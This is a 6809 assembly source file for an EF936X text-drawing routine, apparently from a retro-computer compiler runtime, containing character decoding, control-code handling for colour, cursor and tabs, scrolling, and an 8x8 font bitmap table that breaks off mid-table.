Licenza. Una copia della Licenza è disponibile all'indirizzo ; * ; * http//www.apache.org/licenses/LICENSE-2.0 ; * ; * Se non richiesto dalla legislazione vigente o concordato per iscritto ; * il software distribuito nei termini della Licenza è distribuito ; * "COSì COM'è", SENZA GARANZIE O CONDIZIONI DI ALCUN TIPO, esplicite o ; * implicite. Consultare la Licenza per il testo specifico che regola le ; * autorizzazioni e le limitazioni previste dalla medesima. ; ****************************************************************************/ ;* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * ;* * ;* TEXT AT GIVEN POSITION ON EF936X * ;* * ;* by Marco Spedaletti * ;* * ;* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * TEXTPTR equ $01 TEXTSIZE equ $03 TABSTODRAW equ $04 SCREENCODE equ $08 TEXTATDECODE CMPA #$1F BHI TEXTATDECODEX1F LDA #$60 JMP TEXTATDECODE0 TEXTATDECODEX1F CMPA #$40 BHS TEXTATDECODEX39 ADDA #$40 JMP TEXTATDECODE0 TEXTATDECODEX39 CMPA #$5F BHI TEXTATDECODEX5A SUBA #$40 JMP TEXTATDECODE0 TEXTATDECODEX5A CMPA #$7F BHI TEXTATDECODEX7F SUBA #$20 JMP TEXTATDECODE0 TEXTATDECODEX7F LDA #$60 JMP TEXTATDECODE0 TEXTATDECODE0 STA <SCREENCODE RTS TEXTAT LDA <TEXTSIZE BNE TEXTATGO RTS TEXTATGO LDY TEXTADDRESS STY <COPYOFTEXTADDRESS LDA #0 STA <TABSTODRAW LDY <TEXTPTR LDA CURRENTMODE CMPA #0 BNE TEXTAT0X JMP TEXTAT0 TEXTAT0X CMPA #1 BNE TEXTAT1X JMP TEXTAT1 TEXTAT1X CMPA #2 BNE TEXTAT2X JMP TEXTAT2 TEXTAT2X CMPA #3 BNE TEXTAT3X JMP TEXTAT3 TEXTAT3X CMPA #4 BNE TEXTAT4X JMP TEXTAT4 TEXTAT4X RTS ;----------------------------------------------------------------------------- ; BITMAP MODE ;----------------------------------------------------------------------------- TEXTATCALCPOS PSHS D,Y LDA CURRENTMODE CMPA #3 BEQ TEXTATCALCPOS3 LDX BITMAPADDRESS ANDCC #$FE LDB YCURSYS LDA #0 LSLB ROLA LSLB ROLA LSLB ROLA LSLB ROLA LSLB ROLA LSLB ROLA LSLB ROLA LSLB ROLA TFR D, Y ANDCC #$FE LDB YCURSYS LDA #0 LSLB ROLA LSLB ROLA LSLB ROLA LSLB ROLA LSLB ROLA LSLB ROLA LEAY D, Y TFR Y, D LEAX D, X LDB XCURSYS LDA #0 LEAX D, X PULS D,Y RTS TEXTATCALCPOS3 LDB YCURSYS LDA #0 LSLB ROLA LSLB ROLA LSLB ROLA LSLB ROLA ADDD #PLOTVBASE TFR D, X LDD , X TFR D, X LDB XCURSYS LDA #0 LSLB ROLA LEAX B, X PULS D,Y RTS TEXTATBITMAPMODE TEXTAT0 TEXTAT1 TEXTAT2 TEXTAT3 TEXTAT4 JSR TEXTATCALCPOS JMP TEXTATCOMMON TEXTATCOMMON LDA TEXTWW ANDA #$2 BEQ TEXTATBMCNOPEN ANDCC #$FE LDA _PEN ANDA #$0F ASLA ASLA ASLA ASLA STA <MATHPTR5 LDA _PAPER ANDA #$0F ORA <MATHPTR5 STA <MATHPTR5 TEXTATBMCNOPEN LDB <TEXTSIZE LDY <TEXTPTR TEXTATBMLOOP2 LDA <TABSTODRAW BEQ TEXTATBMNSKIPTAB JMP TEXTATBMSKIPTAB TEXTATBMNSKIPTAB LDA ,Y STA <SCREENCODE CMPA #$09 BEQ TEXTATBMTAB CMPA #14 BHI TEXTATBMXCC JMP TEXTATBMCC TEXTATBMXCC JSR TEXTATDECODE JMP TEXTATBMSP0 TEXTATBMTAB LDA XCURSYS TEXTATBMTAB2 CMPA TABCOUNT BLS TEXTATBMTAB3 SUBA TABCOUNT JMP TEXTATBMTAB2 TEXTATBMTAB3 STA <TMPPTR LDA TABCOUNT SUBA <TMPPTR STA <TABSTODRAW JMP TEXTATBMNEXT TEXTATBMCC CMPA #13 BEQ TEXTATBMLF CMPA #10 BEQ TEXTATBMLF CMPA #01 BEQ TEXTATBMPEN CMPA #02 BEQ TEXTATBMPAPER CMPA #03 BEQ TEXTATBMCMOVEPREPARE CMPA #04 BEQ TEXTATBMXAT CMPA #05 BEQ TEXTATBMCLS JMP TEXTATBMNEXT TEXTATBMCLS LEAY 1,Y DECB JSR CLS JMP TEXTATBMNEXT TEXTATBMXAT JMP TEXTATBMAT TEXTATBMLF LDA #0 STA XCURSYS INC YCURSYS JSR TEXTATCALCPOS JMP TEXTATBMNEXT2A TEXTATBMPEN LEAY 1,Y DECB LDA TEXTWW ANDA #$2 BEQ TEXTATBMPENDISABLED LDA , Y ASL A ASL A ASL A ASL A STA _PEN TEXTATBMPENDISABLED JMP TEXTATBMNEXT TEXTATBMPAPER LEAY 1,Y DECB LDA TEXTWW ANDA #$1 BEQ TEXTATBMPAPERDISABLED LDA , Y STA _PAPER TEXTATBMPAPERDISABLED JMP TEXTATBMNEXT TEXTATBMCMOVEPREPARE LEAY 1,Y DECB LDA , Y STA <CLINEX LEAY 1,Y LEAX -1,X LDA , Y STA <CLINEY TEXTATBMCMOVE LDA <CLINEX ADDA XCURSYS STA XCURSYS LDA <CLINEY ADDA YCURSYS STA YCURSYS JSR TEXTATCALCPOS JMP TEXTATBMNEXT TEXTATBMAT LEAY 1,Y DECB LDA , Y SUBA XCURSYS STA <CLINEX LEAY 1,Y LEAX -1,X LDA , Y SUBA YCURSYS STA <CLINEY JMP TEXTATBMCMOVE TEXTATBMSP0 PSHS D,Y,X LDU #0 LDY #TEXTATFONT LDA <SCREENCODE ANDA #$3F LDB #8 MUL LEAY D, Y LDA CURRENTMODE CMPA #0 BNE TEXTATBMSP00X JMP TEXTATBMSP00 TEXTATBMSP00X CMPA #1 BNE TEXTATBMSP01X JMP TEXTATBMSP01 TEXTATBMSP01X CMPA #2 BNE TEXTATBMSP02X JMP TEXTATBMSP02 TEXTATBMSP02X CMPA #3 BNE TEXTATBMSP03X JMP TEXTATBMSP03 TEXTATBMSP03X CMPA #4 BNE TEXTATBMSP04X JMP TEXTATBMSP04 TEXTATBMSP04X JMP TEXTATBMSP0E TEXTATBMSP00 TEXTATBMSP01 TEXTATBMSP04 TEXTATBMSP0L1 LDA $a7c0 ORA #$01 STA $a7c0 LDA ,Y STA ,X LDA $a7c0 ANDA #$fe STA $a7c0 LDA <MATHPTR5 STA ,X JMP TEXTATBMSP0L1M2 TEXTATBMSP0L1M PSHS X LDX <MATHPTR5 LDA ,Y ANDA #$F0 LSRA LSRA LSRA LSRA LDA A, X PULS X STA , X LEAX 1, X PSHS X LDX <MATHPTR5 LDA ,Y ANDA #$0F LDA A, X PULS X STA , X JMP TEXTATBMSP0L1M2 TEXTATBMSP0L1M2 LDA CURRENTSL LEAX A, X LEAY 1, Y LEAU 1, U CMPU #8 BEQ TEXTATBMSP0L1X JMP TEXTATBMSP0L1 TEXTATBMSP0L1X LDA #1 JMP TEXTATBMSP0E TEXTATBMSP02 TEXTATBMSP02L1 LDA $a7c0 ORA #$01 STA $a7c0 LDA _PEN ANDA #$01 CMPA #$01 BEQ TEXTATBMSP02L1NO LDA ,Y STA ,X JMP TEXTATBMSP02L1DONE TEXTATBMSP02L1NO LDA #0 STA ,X TEXTATBMSP02L1DONE LDA $a7c0 ANDA #$fe STA $a7c0 LDA _PEN ANDA #$02 CMPA #$02 BEQ TEXTATBMSP02L2NO LDA ,Y STA ,X JMP TEXTATBMSP02L2DONE TEXTATBMSP02L2NO LDA #0 STA ,X TEXTATBMSP02L2DONE LDA CURRENTSL LEAX A, X LEAY 1, Y LEAU 1, U CMPU #8 BEQ TEXTATBMSP02L1X JMP TEXTATBMSP02L1 TEXTATBMSP02L1X LDA #1 JMP TEXTATBMSP0E ; TEXTATBMSP03 LDA ,Y PSHS Y,A LDY #TEXTATFLIP ANDA #$0F LEAY A, Y LDA , Y ASLA ASLA ASLA ASLA STA <MATHPTR0 PULS Y,A PSHS Y,A LDY #TEXTATFLIP ANDA #$F0 LSRA LSRA LSRA LSRA LEAY A, Y LDA , Y ORA <MATHPTR0 STA <MATHPTR0 PULS Y,A PSHS U LDU #2 TEXTATBMSP03L1 LDA <MATHPTR0 ANDA #$03 PSHS Y LDY #TEXTATBITMASK LDB A, Y LDA _PEN ANDA #$0F MUL TFR B, A PULS Y LDB $a7c0 ORB #$01 STB $a7c0 STA ,X LDA <MATHPTR0 LSRA LSRA STA <MATHPTR0 ANDA #$03 PSHS Y LDY #TEXTATBITMASK LDB A, Y LDA _PEN ANDA #$0F MUL TFR B, A PULS Y LDB $a7c0 ANDB #$fe STB $a7c0 STA ,X+ LDA <MATHPTR0 LSRA LSRA STA <MATHPTR0 LEAU -1, U CMPU #0 BNE TEXTATBMSP03L1 LEAX -2, X PULS U LDA CURRENTSL LEAX A, X LEAY 1, Y LEAU 1, U CMPU #8 BEQ TEXTATBMSP03L1X JMP TEXTATBMSP03 TEXTATBMSP03L1X LDA #2 JMP TEXTATBMSP0E ; TEXTATBMSP0E PULS D,Y,X LDA CURRENTMODE CMPA #3 BEQ TEXTATBMSP0E3 LEAX 1, X JMP TEXTATBMINCX TEXTATBMSP0E3 LEAX 2, X JMP TEXTATBMINCX TEXTATBMSKIPTAB DEC <TABSTODRAW LDA <TABSTODRAW CMPA #0 BNE TEXTATBMSKIPTAB2 JSR TEXTATCALCPOS TEXTATBMSKIPTAB2 JMP TEXTATBMINCX TEXTATBMINCX INC XCURSYS LDA XCURSYS CMPA CURRENTTILESWIDTH BEQ TEXTATBMNEXT2 JMP TEXTATBMNEXT TEXTATBMNEXT2 LDA #0 STA XCURSYS LDA CURRENTSL LEAX A, X LEAX A, X LEAX A, X LEAX A, X LEAX A, X LEAX A, X LEAX A, X INC YCURSYS TEXTATBMNEXT2A LDA YCURSYS CMPA CURRENTTILESHEIGHT BEQ TEXTATBMNEXT3 JMP TEXTATBMNEXT TEXTATBMNEXT3 LDA #$FF STA <DIRECTION JSR VSCROLLT DEC YCURSYS JSR TEXTATCALCPOS TEXTATBMNEXT LDA <TABSTODRAW BEQ TEXTATBMXLOOP2 JMP TEXTATBMLOOP2 TEXTATBMXLOOP2 LEAY 1,Y DECB BEQ TEXTATBMEND JMP TEXTATBMLOOP2 TEXTATBMEND RTS TEXTATFONT fcb $3c, $66, $6e, $6e, $60, $62, $3c, $00 fcb $18, $3c, $66, $7e, $66, $66, $66, $00 fcb $7c, $66, $66, $7c, $66, $66, $7c, $00 fcb $3c, $66, $60, $60, $60, $66, $3c, $00 fcb $78, $6c, $66, $66, $66, $6c, $78, $00 fcb $7e, $60, $60, $78, $60, $60, $7e, $00 fcb $7e, $60, $60, $78, $60, $60, $60, $00 fcb $3c, $66, $60, $6e, $66, $66, $3c, $00 fcb $66, $66, $66, $7e, $66, $66, $66, $00 fcb $3c, $18, $18, $18, $18, $18, $3c, $00 fcb $1e, $0c, $0c, $0c, $0c, $6c, $38, $00 fcb $66, $6c, $78, $70, $78, $6c, $66, $00 fcb $60, $60, $60, $60, $60, $60, $7e, $00 fcb $63, $77, $7f, $6b, $63, $63, $63, $00 fcb $66, $76, $7e, $7e, $6e, $66, $66, $00 fcb $3c, $66, $66, $66, $66, $66, $3c, $00 fcb $7c, $66, $66, $7c, $60, $60, $60, $00 fcb $3c, $66, $66, $66, $66, $3c, $0e, $00 fcb $7c, $66, $66, $7c, $78, $6c, $66, $00 fcb $3c, $66, $60, $3c, $06, $66, $3c, $00 fcb $7e, $18, $18, $18, $18, $18, $18, $00 fcb $66, $66, $66, $66, $66, $66, $3c, $00 fcb $66, $66, $66, $66, $66, $3c, $18, $00 fcb $63, $63, $63, $6b, $7f, $77, $63, $00 fcb $66, $66, $3c, $18, $3c, $66, $66, $00 fcb $66, $66, $66, $3c, $18, $18, $18, $00 fcb $7e, $06, $0c, $18, $30, $60, $7e, $00 fcb $3c, $30, $30, $30, $30, $30, $3c, $00 fcb $00, $40, $60, $30, $18, $0c, $06, $00 fcb $3c, $0c, $0c, $0c, $0c, $0c, $3c, $00 fcb $00, $18, $3c, $7e, $18, $18, $18, $18 fcb $00, $10, $30, $7f, $7f, $30, $10, $00 fcb $00, $00, $00, $00, $00, $00, $00, $00 fcb $18, $18, $18, $18, $00, $00, $18, $00 fcb $66, $66, $66, $00, $00, $00, $00, $00 fcb $66, $66, $ff, $66, $ff, $66, $66, $00 fcb $18, $3e, $60, $3c, $06, $7c, $18, $00 fcb $62, $66, $0c, $18, $30, $66, $46, $00 fcb $3c, $66, $3c, $38, $67, $66, $3f, $00 fcb $06, $0c, $18, $00, $00, $00, $00, $00 fcb $0c, $18, $30, $30, $30, $18, $0c, $00 fcb $30, $18, $0c, $0c, $0c, $18, $30, $00 fcb $00, $66, $3c, $ff, $3c, $66, $00, $00 fcb $00, $18, $18, $7e, $18, $18, $00, $00 fcb $00, $00, $00, $00, $00, $18, $18, $30 fcb $00, $00, $00, $7e, $00, $00, $00, $00 fcb $00, $00, $00, $00, $00, $18, $18, $00 fcb $00, $03, $06, $0c, $18, $30, $60, $00 fcb $3c, $66, $6e, $76, $66, $66, $3c, $00 fcb $18, $18, $38, $18, $18, $18, $7e, $00 fcb $3c, $66, $06, $0c, $30, $60, $7e, $00 fcb $3c, $66, $06, $1c, $06, $66, $3c, $00 fcb $06, $0e, $1e, $66, $7f, $06, $06, $00 fcb $7e, $60, $7c, $06, $06, $66, $3c, $00 fcb $3c, $66, $60, $7c, $66, $66, $3c, $00 fcb $7e, $66, $0c, $18, $18, $18, $18, $00 fcb $3c, $66, $66, $3c, $66, $66, $3c, $00 fcb $3c, $66, $66, $3e, $06, $66, $3c, $00 fcb $00, $00, $18, $00, $00, $18, $00, $00 fcb $00, $00, $18, $00, $00, $18, $18, $30 fcb $0e, $18, $30, $60, $30, $18, $0e, $00 fcb $00, $00, $7e, $00, $7e, $00, $00, $00 fcb $70, $18, $0c, $06, $0c, $18, $70, $00 fcb $3c, $66, $06, $0c, $18, $00, $18, $00 fcb $00, $00, $00, $ff, $ff, $00, $00, $00 fcb $08, $1c, $3e, $7f, $7f, $1c, $3e, $00 fcb $18, $18, $18, $18, $18, $18, $18, $18 fcb $00, $00, $00, $ff, $ff, $00, $00, $00 fcb $00, $00, $ff, $ff, $00, $00, $00, $00 fcb $00, $ff, $ff, $00, $00, $00, $00, $00 fcb $00, $00, $00, $00, $ff, $ff, $00, $00 fcb $30, $30, $30, $30, $30, $30, $30, $30 fcb $0c, $0c, $0c, $0c, $0c, $0c, $0c, $0c fcb $00, $00, $00, $e0, $f0, $38, $18, $18 fcb $18, $18, $1c, $0f, $07, $00, $00, $00 fcb $18, $18, $38, $f0, $e0, $00, $00, $00 fcb $c0, $c0, $c0, $c0, $c0, $c0, $ff, $ff fcb $c0, $e0, $70, $38, $1c, $0e, $07, $03 fcb $03, $07, $0e, $1c, $38, $70, $e0, $c0 fcb $ff, $ff, $c0, $c0, $c0, $c0, $c0, $c0 fcb $ff, $ff, $03, $03, $03, $03, $03, $03 fcb $00, $3c, $7e, $7e, $7e, $7e, $3c, $00 fcb $00, $00, $00, $00, $00, $ff, $ff, $00 fcb $36, $7f, $7f, $7f, $3e, $1c, $08, $00 fcb $60, $60, $60, $60, $60, $60, $60, $60 fcb $00, $00, $00, $07, $0f, $1c, $18, $18 fcb $c3, $e7, $7e, $3c, $3c, $7e, $e7, $c3 fcb $00, $3c, $7e, $66, $66, $7e, $3c, $00 fcb $18, $18, $66, $66, $18, $18, $3c, $00 fcb $06, $06, $06, $06, $06, $06, $06, $06 fcb $08, $1c, $3e, $7f, $3e, $1c, $08, $00 fcb $18, $18, $18, $ff, $ff, $18, $18, $18 fcb $c0, $c0, $30, $30, $c0, $c0, $30, $30 fcb $18, $18, $18, $18, $18, $18, $18, $18 fcb $00, $00, $03, $3e, $76, $36, $36, $00 fcb $ff, $7f, $3f, $1f, $0f, $07, $03, $01 fcb $00, $00, $00, $00, $00, $00, $00, $00 fcb $f0, $f0, $f0, $f0, $f0, $f0, $f0, $f0 fcb $00, $00, $00, $00, $ff, $ff, $ff, $ff fcb $ff, $00, $00, $00, $00, $00, $00, $00 fcb $00, $00, $00, $00, $00, $00, $00, $ff fcb $c0, $c0, $c0, $c0, $c0, $c0, $c0, $c0 fcb $cc, $cc, $33, $33, $cc, $cc, $33, $33 fcb $03, $03, $03, $03, $03, $03, $03, $03 fcb $00, $00, $00, $00, $cc, $cc, $33, $33 fcb $ff, $fe, $fc, $f8, $f0, $e0, $c0, $80 fcb $03, $03, $03, $03, $03, $03, $03, $03 fcb $18, $18, $18, $1f, $1f, $18, $18, $18 fcb $00, $00, $00, $00, $0f, $0f, $0f, $0f fcb $18, $18, $18, $1f, $1f, $00, $00, $00 fcb $00, $00, $00, $f8, $f8, $18, $18, $18 fcb $00, $00, $00, $00, $00, $00, $ff, $ff fcb $00, $00, $00, $1f, $1f, $18, $18, $18 fcb $18, $18, $18, $ff, $ff, $00, $00, $00 fcb $00, $00, $00, $ff, $ff, $18, $18, $18 fcb $18, $18, $18, $f8, $f8, $18, $18, $18 fcb $c0, $c0, $c0, $c0, $c0, $c0, $c0, $c0 fcb $e0, $e0, $e0, $e0, $e0, $e0, $e0, $e0 fcb $07, $07, $07, $07, $07, $07, $07, $07 fcb $ff, $ff, $00, $00, $00, $00, $00, $00 fcb $ff, $ff, $ff, $00, $00, $00, $00, $00 fcb $00, $00, $00, $00, $00, $ff, $ff, $ff fcb $03, $03, $03, $03, $03, $03, $ff, $ff fcb $00, $00, $00, $00, $f0, $f0, $f0, $f0 fcb $0f, $0f, $0f, $0f, $00, $00, $00, $00 fcb $18, $18, $18, $f8, $f8, $00, $00, $00 fcb $f0, $f0, $f0, $f0, $00, $00, $00, $00 fcb $f0, $f0, $f0, $f0, $0f, $0f, $0f, $0f fcb $c3, $99, $91, $91, $9f, $99, $c3, $ff fcb $e7, $c3, $99, $81, $99, $99, $99, $ff fcb $83, $99, $99, $83, $99, $99, $83, $ff fcb $c3, $99, $9f, $9f, $9f, $99, $c3, $ff fcb $87, $93, $99, $99, $99, $93, $87, $ff fcb $81, $9f, $9f, $87, $9f, $9f, $81, $ff fcb $81, $9f, $9f, $87, $9f, $9f, $9f, $ff fcb $c3, $99, $9f, $91, $99, $99, $c3, $ff fcb $99, $99, $99, $81, $99, $99, $99, $ff fcb $c3, $e7, $e7, $e7, $e7, $e7, $c3, $ff fcb $e1, $f3, $f3, $f3, $f3, $93, $c7, $ff fcb $99, $93, $87, $8f, $87, $93, $99, $ff fcb $9f, $9f, $9f, $9f, $9f, $9f, $81, $ff fcb $9c, $88, $80, $94, $9c, $9c, $9c, $ff fcb $99, $89, $81, $81, $91, $99, $99, $ff fcb $c3, $99, $99, $99, $99, $99, $c3, $ff fcb $83, $99, $99, $83, $9f, $9f, $9f, $ff fcb $c3, $99, $99, $99, $99, $c3, $f1, $ff fcb $83, $99, $99, $83, $87, $93, $99, $ff fcb $c3, $99, $9f, $c3, $f9, $99, $c3, $ff fcb $81, $e7, $e7, $e7, $e7, $e7, $e7, $ff fcb $99, $99, $99, $99, $99, $99, $c3, $ff fcb $99, $99, $99, $99, $99, $c3, $e7, $ff fcb $9c, $9c, $9c, $94, $80, $88, $9c, $ff fcb $99, $99, $c3, $e7, $c3, $99, $99, $ff fcb $99, $99, $99, $c3, $e7, $e7, $e7, $ff fcb $81, $f9, $f3, $e7, $cf, $9f, $81, $ff fcb $c3, $cf, $cf, $cf, $cf, $cf, $c3, $ff fcb $f3, $ed, $cf, $83, $cf, $9d, $03, $ff fcb $c3, $f3, $f3, $f3, $f3, $f3, $c3, $ff fcb $ff, $e7, $c3, $81, $e7, $e7, $e7, $e7 fcb $ff, $ef, $cf, $80, $80, $cf, $ef, $ff fcb $ff, $ff, $ff, $ff, $ff, $ff, $ff, $ff fcb $e7, $e7, $e7, $e7, $ff, $ff, $e7, $ff fcb $99, $99, $99, $ff, $ff, $ff, $ff, $ff fcb $99, $99, $00, $99, $00, $99, $99, $ff fcb $e7, $c1, $9f, $c3, $f9, $83, $e7, $ff fcb $9d, $99, $f3, $e7, $cf, $99, $b9, $ff fcb $c3, $99, $c3, $c7, $98, $99, $c0, $ff fcb $f9, $f3, $e7, $ff, $ff, $ff, $ff, $ff fcb $f3, $e7, $cf, $cf, $cf, $e7, $f3, $ff fcb $cf, $e7, $f3, $f3, $f3, $e7, $cf, $ff fcb $ff, $99, $c3, $00, $c3, $99, $ff, $ff fcb $ff, $e7, $e7, $81, $e7, $e7, $ff, $ff fcb $ff, $ff, $ff, $ff, $ff, $e7, $e7, $cf fcb $ff, $ff, $ff, $81, $ff, $ff, $ff, $ff fcb $ff, $ff, $ff, $ff, $ff, $e7, $e7, $ff fcb $ff, $fc, $f9, $f3, $e7, $cf, $9f, $ff fcb $c3, $99, $91, $89, $99, $99, $c3, $ff fcb $e7, $e7, $c7, $e7, $e7, $e7, $81, $ff fcb $c3, $99, $f9, $f3, $cf, $9f, $81, $ff fcb $c3, $99, $f9, $e3, $f9, $99, $c3, $ff fcb $f9, $f1, $e1, $99, $80, $f9, $f9, $ff fcb $81, $9f, $83, $f9, $f9, $99, $c3, $ff fcb $c3, $99, $9f, $83, $99, $99, $c3, $ff fcb $81, $99, $f3, $e7, $e7, $e7, $e7, $ff fcb $c3, $99, $99, $c3, $99, $99, $c3, $ff fcb $c3, $99, $99, $c1, $f9, $99, $c3, $ff fcb $ff, $ff, $e7, $ff, $ff, $e7, $ff, $ff fcb $ff, $ff, $e7, $ff, $ff, $e7, $e7, $cf fcb $f1, $e7, $cf, $9f, $cf, $e7, $f1, $ff fcb $ff, $ff, $81, $ff, $81, $ff, $ff, $ff fcb $8f, $e7, $f3, $f9, $f3, $e7, $8f, $ff fcb $c3, $99, $f9, $f3, $e7, $ff, $e7, $ff fcb $ff, $ff, $ff, $00, $00, $ff, $ff, $ff fcb $f7, $e3, $c1, $80, $80, $e3, $c1, $ff fcb $e7, $e7, $e7, $e7, $e7, $e7, $e7, $e7 fcb $ff, $ff, $ff, $00, $00, $ff, $ff, $ff fcb $ff, $ff, $00, $00, $ff, $ff, $ff, $ff fcb $ff, $00, $00, $ff, $ff, $ff, $ff, $ff fcb $ff, $ff, $ff, $ff, $00, $00, $ff, $ff fcb $cf, $cf, $cf, $cf, $cf, $cf, $cf, $cf fcb $f3, $f3, $f3, $f3, $f3, $f3, $f3, $f3 fcb $ff, $ff, $ff, $1f, $0f, $c7, $e7, $e7 fcb $e7, $e7, $e3, $f0, $f8, $ff, $ff, $ff fcb $e7, $e7, $c7, $0f, $1f, $ff, $ff, $ff fcb $3f, $3f, $3f, $3f, $3f, $3f, $00, $00 fcb $3f, $1f, $8f, $c7, $e3, $f1, $f8, $fc fcb $fc, $f8, $f1, $e3, $c7, $8f, $1f, $3f fcb $00, $00, $3f, $3f, $3f, $3f, $3f, $3f fcb $00, $00, $fc, $fc, $fc, $fc, $fc, $fc fcb $ff, $c3, $81, $81, $81, $81, $c3, $ff fcb $ff, $ff, $ff, $ff, $ff, $00, $00, $ff fcb $c9, $80, $80, $80, $c1, $e3, $f7, $ff fcb $9f, $9f, $9f, $9f, $9f, $9f, $9f, $9f fcb $ff, $ff, $ff, $f8, $f0, $e3, $e7, $e7 fcb $3c, $18, $81, $c3, $c3, $81, $18, $3c fcb $ff, $c3, $81, $99, $99, $81, $c3, $ff fcb $e7, $e7, $99, $99, $e7, $e7, $c3, $ff fcb $f9, $f9, $f9, $f9, $f9, $f9, $f9, $f9 fcb $f7, $e3, $c1, $80, $c1, $e3, $f7, $ff fcb $e7, $e7, $e7, $00, $00, $e7, $e7, $e7 fcb $3f, $3f, $cf, $cf, $3f, $3f, $cf, $cf fcb $e7, $e7, $e7, $e7, $e7, $e7, $e7, $e7 fcb $ff, $ff, $fc, $c1, $89, $c9, $c9, $ff fcb $00, $80, $c0, $e0, $f0, $f8, $fc, $fe fcb $ff, $ff, $ff, $ff, $ff, $ff, $ff, $ff fcb $0f, $0f, $0f, $0f, $0f, $0f, $0f, $0f fcb $ff, $ff, $ff, $ff, $00, $00, $00, $00 fcb $00, $ff, $ff, $ff, $ff, $ff, $ff, $ff fcb $ff, $ff, $ff, $ff, $ff, $ff, $ff, $00 fcb $3f, $3f, $3f, $3f, $3f, $3f, $3f, $3f fcb $33, $33, $cc, $cc, $33, $33, $cc, $cc fcb $fc, $fc, $fc, $fc, $fc, $fc, $fc, $fc fcb $ff, $ff, $ff, $ff, $33, $33, $cc, $cc fcb $00, $01, $03, $07, $0f, $1f, $3f, $7f fcb $fc, $fc, $fc, $fc, $fc, $fc, $fc, $fc fcb $e7, $e7, $e7, $e0, $e0, $e7, $e7, $e7 fcb $ff, $ff, $ff, $ff, $f0, $f0, $f0, $f0 fcb $e7, $e7, $e7, $e0, $e0, $ff, $ff, $ff fcb $ff, $ff, $ff, $07, $07, $e7, $e7, $e7 fcb $ff, $ff, $ff, $ff, $ff, $ff, $00, $00 fcb $ff, $ff, $ff, $e0, $e0, $e7, $e7, $e7 fcb $e7, $e7, $e7, $00, $00, $ff, $ff, $ff fcb $ff, $ff, $ff, $00, $00, $e7, $e7, $e7 fcb $e7, $e7, $e7, $07, $07, $e7, $e7, $e7 fcb $3f, $3f, $3f, $3f, $3f, $3f, $3f, $3f fcb $1f, $1f, $1f, $1f, $1f, $1f, $1f, $1f fcb $f8, $f8, $f8, $f8, $f8, $f8, $f8, $f8 fcb $00, $00, $ff, $ff, $ff, $ff, $ff, $ff fcb $00, $00, $00, $ff, $ff, $ff, $ff, $ff fcb $ff, $ff, $ff, $ff, $ff, $00, $00, $00 fcb $fc, $fc, $fc, $fc, $fc, $fc, $00, $00 fcb $ff, $ff, $ff, $ff, $0f, $0f, $0f, $0f fcb $f0, $f0, $f0, $f0, $ff, $ff, $ff, $ff fcb $e7, $e7, $e7, $07, $07, $ff, $ff, $ff fcb $0f, $0f, $0f, $0f, $ff, $ff, $ff, $ff fcb $0f, $0f, $0f, $0f, $f0, $f0, $f0, $f0 fcb $3c, $66, $6e, $6e, $60, $62, $3c, $00 fcb $00, $00, $3c, $06, $3e, $66, $3e, $00 fcb $00, $60, $60, $7c, $66, $66, $7c, $00 fcb $00, $00, $3c, $60, $60, $60, $3c, $00 fcb $00, $06, $06, $3e, $66, $66, $3e, $00 fcb $00, $00, $3c, $66, $7e, $60, $3c, $00 fcb $00, $0e, $18, $3e, $18, $18, $18, $00 fcb $00, $00, $3e, $66, $66, $3e, $06, $7c fcb $00, $60, $60, $7c, $66, $66, $66, $00 fcb $00, $18, $00, $38, $18, $18, $3c, $00 fcb $00, $06, $00, $06, $06, $06, $06, $3c fcb $00, $60, $60, $6c, $78, $6c, $66, $00 fcb $00, $38, $18, $18, $18, $18, $3c, $00 fcb $00, $00, $66, $7f, $7f, $6b, $63, $00 fcb $00, $00, $7c, $66, $66, $66, $66, $00 fcb $00, $00, $3c, $66, $66, $66, $3c, $00 fcb $00, $00, $7c, $66, $66, $7c, $60, $60 fcb $00, $00, $3e, $66, $66, $3e, $06, $06 fcb $00, $00, $7c, $66, $60, $60, $60, $00 fcb $00, $00, $3e, $60, $3c, $06, $7c, $00 fcb $00, $18, $7e, $18, $18, $18, $0e, $00 fcb $00, $00, $66, $66, $66, $66, $3e, $00 fcb $00, $00, $66, $66, $66, $3c, $18, $00 fcb $00, $00, $63, $6b, $7f, $3e, $36, $00 fcb $00, $00, $66, $3c, $18, $3c, $66, $00 fcb $00, $00, $66, $66, $66, $3e, $0c, $78 fcb $00, $00, $7e, $0c, $18, $30, $7e, $00 fcb $3c, $30, $30, $30, $30, $30, $3c, $00 fcb $0c, $12, $30, $7c, $30, $62, $fc, $00 fcb $3c, $0c, $0c, $0c, $0c, $0c, $3c, $00 fcb $00, $18, $3c, $7e, $18, $18, $18, $18 fcb $00, $10, $30, $7f, $7f, $30, $10, $00 fcb $00, $00, $00, $00, $00, $00, $00, $00 fcb $18, $18, $18, $18, $00, $00, $18, $00 fcb $66, $66, $66, $00, $00, $00, $00, $00 fcb $66, $66, $ff, $66, $ff, $66, $66, $00 fcb $18, $3e, $60, $3c, $06, $7c, $18, $00 fcb $62, $66, $0c, $18, $30, $66, $46, $00 fcb $3c, $66, $3c, $38, $67, $66, $3f, $00 fcb $06, $0c, $18, $00, $00, $00, $00, $00 fcb $0c, $18, $30, $30, $30, $18, $0c, $00 fcb $30, $18, $0c, $0c, $0c, $18, $30, $00 fcb $00, $66, $3c, $ff, $3c, $66, $00, $00 fcb $00, $18, $18, $7e, $18, $18, $00, $00 fcb $00, $00, $00, $00, $00, $18, $18, $30 fcb $00, $00, $00, $7e, $00, $00, $00, $00 fcb $00, $00, $00, $00, $00, $18, $18, $00 fcb $00, $03, $06, $0c, $18, $30, $60, $00 fcb $3c, $66, $6e, $76, $66, $66, $3c, $00 fcb $18, $18, $38, $18, $18, $18, $7e, $00 fcb $3c, $66, $06, $0c, $30, $60, $7e, $00 fcb $3c, $66, $06, $1c, $06, $66, $3c, $00 fcb $06, $0e, $1e, $66, $7f, $06, $06, $00 fcb $7e, $60, $7c, $06, $06, $66, $3c, $00 fcb $3c, $66, $60, $7c, $66, $66, $3c, $00 fcb $7e, $66, $0c, $18, $18, $18, $18, $00 fcb $3c, $66, $66, $3c, $66, $66, $3c, $00 fcb $3c, $66, $66, $3e, $06, $66, $3c, $00 fcb $00, $00, $18, $00, $00, $18, $00, $00 fcb $00, $00, $18, $00, $00, $18, $18, $30 fcb $0e, $18, $30, $60, $30, $18, $0e, $00 fcb $00, $00, $7e, $00, $7e, $00, $00, $00 fcb $70, $18, $0c, $06, $0c, $18, $70, $00 fcb $3c, $66, $06, $0c, $18, $00, $18, $00 fcb 